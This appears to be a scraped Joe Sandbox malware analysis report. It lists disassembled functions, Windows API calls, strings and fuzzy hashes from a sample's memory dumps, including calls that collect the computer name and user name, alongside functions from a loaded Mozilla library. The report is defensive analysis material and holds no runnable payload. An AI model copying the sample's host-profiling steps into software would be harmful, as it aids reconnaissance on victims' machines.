Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9b73fc247fce70059a5875f05d877c883ec00d7881cbc50877adabf038e65b64
Instruction ID: ded24d35d49f6717c79aeb393ee71963fc9b6a5628efba03daf8b047f10c9a28
Opcode Fuzzy Hash: 9b73fc247fce70059a5875f05d877c883ec00d7881cbc50877adabf038e65b64
Instruction Fuzzy Hash: 32F0A571C0020CEBCF04EFA4D5496DCBBB4EB21314F508199E866A72D0DB746A59DBC1

Function 00198DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00198E0B

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 7bb88b98005d6104780a99097b03ffe6ee5f3f5e8a59847ec84cb6325ec2a146
Instruction ID: d9cd61655304259d76f3a5c073043ee8ed218a9af608f67e9c130525dc205095
Opcode Fuzzy Hash: 7bb88b98005d6104780a99097b03ffe6ee5f3f5e8a59847ec84cb6325ec2a146
Instruction Fuzzy Hash: 19E01A31A4034C6BEB91EB90CC96FAE777C9B44B01F404295BA0C9A1C0DE71AB858B91

Function 00181190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 001978E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00197910
Part of subcall function 001978E0: RtlAllocateHeap.NTDLL(00000000), ref: 00197917
Part of subcall function 001978E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0019792F

Part of subcall function 00197850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001811B7), ref: 00197880
Part of subcall function 00197850: RtlAllocateHeap.NTDLL(00000000), ref: 00197887
Part of subcall function 00197850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0019789F

ExitProcess.KERNEL32 ref: 001811C6

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: ebee327fac1094222cdc59dd9c98924b3a80ef519e93f36477a16e9a8f11a3af
Instruction ID: 0ab0dc6d1e163be285f86924a3959feade85548654a760a0036a69747db8ef82
Opcode Fuzzy Hash: ebee327fac1094222cdc59dd9c98924b3a80ef519e93f36477a16e9a8f11a3af
Instruction Fuzzy Hash: F6E012B692430563CE0073B1AC0EF2A329C5F2534DF040825FA05D3142FB65F9118B6A

Function 00198E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00198E52

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 887152af1b403eebb0054271e80acf819df2490a73f604ebe0b7cf8272e48076
Instruction ID: 0ebe603a908a636034eaa71f991fc6740445201023434d826b537a47ee7b91c5
Opcode Fuzzy Hash: 887152af1b403eebb0054271e80acf819df2490a73f604ebe0b7cf8272e48076
Instruction Fuzzy Hash: 2D011930A04208EFCF05CF98C5A5BACBBB5EF05308F288088E9056B390C7756F84DB86

Non-executed Functions

Function 6C665440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C665492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6654BE
__Init_thread_footer.LIBCMT ref: 6C6654DB

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C665516
GetCurrentThreadId.KERNEL32 ref: 6C66556A
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665577
moz_xmalloc.MOZGLUE(00000070), ref: 6C665585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C665590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6655E6
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C665616

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetCurrentThreadId.KERNEL32 ref: 6C66563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C665646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C66567C
free.MOZGLUE(?), ref: 6C6656AE

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6656E8
GetCurrentThreadId.KERNEL32 ref: 6C665707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C66570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C665729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C66574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C66576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C665796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6657CA

Strings

- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C665D24
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C665D2B
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C665D01
GeckoMain, xrefs: 6C665554, 6C6655D5
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C665BBE
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C665CF9
[I %d/%d] profiler_init, xrefs: 6C66564E
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C66584E
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C665B38
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C665D1C
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C665AC9
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C665C56
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction ID: 177a8c64f2d46a8a752f75fa61e52c8de68fafea378d92d8cf6f77fefddd9d63
Opcode Fuzzy Hash: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction Fuzzy Hash: 2D2205709043419FDB009F76C89666ABBB5AF8734CF04462AE94A87F42EB31E445CB5F

Function 6C666C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C666CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C666D26

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C666D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C666D73
free.MOZGLUE(00000000), ref: 6C666D80
CertGetNameStringW.CRYPT32 ref: 6C666DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C666DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C666DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C666E10
CryptMsgClose.CRYPT32(00000000), ref: 6C666E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C666E34
CreateFileW.KERNEL32 ref: 6C666EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C666F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C66709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C667103
free.MOZGLUE(00000000), ref: 6C667153
CloseHandle.KERNEL32(?), ref: 6C667176
__Init_thread_footer.LIBCMT ref: 6C667209
__Init_thread_footer.LIBCMT ref: 6C66723A
__Init_thread_footer.LIBCMT ref: 6C66726B
__Init_thread_footer.LIBCMT ref: 6C66729C
__Init_thread_footer.LIBCMT ref: 6C6672DC
__Init_thread_footer.LIBCMT ref: 6C66730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6673C2
VerSetConditionMask.NTDLL ref: 6C6673F3
VerSetConditionMask.NTDLL ref: 6C6673FF
VerSetConditionMask.NTDLL ref: 6C667406
VerSetConditionMask.NTDLL ref: 6C66740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C66741A
moz_xmalloc.MOZGLUE(?), ref: 6C66755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C667568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C667585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C667598
free.MOZGLUE(00000000), ref: 6C6675AC

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

(, xrefs: 6C66768A
SHA256, xrefs: 6C666EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C6672C8
wintrust.dll, xrefs: 6C6672CD

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction ID: 66a7cec88e3af785e2294924bd49185265c2d8ef4da158a834f2fe8299d93b89
Opcode Fuzzy Hash: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction Fuzzy Hash: 9852E871A042149FEB21DF26CC84BAA77B8EF46704F144599E909A7A40DB70BF84CF5A

Function 6C690DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C690F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C690F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C690FB7
EnterCriticalSection.KERNEL32(?), ref: 6C690FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C691031
LeaveCriticalSection.KERNEL32(?), ref: 6C6910D0
EnterCriticalSection.KERNEL32(?), ref: 6C69117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C691C39
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C693391
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C693431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693437

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C693A02
<jemalloc>, xrefs: 6C693941, 6C6939F1
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C693559, 6C69382D, 6C693848
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6937D2
MALLOC_OPTIONS, xrefs: 6C6935FE
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C693793
MOZ_CRASH(), xrefs: 6C693950
Compile-time page size does not divide the runtime one., xrefs: 6C693946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6937BD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6937A8

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
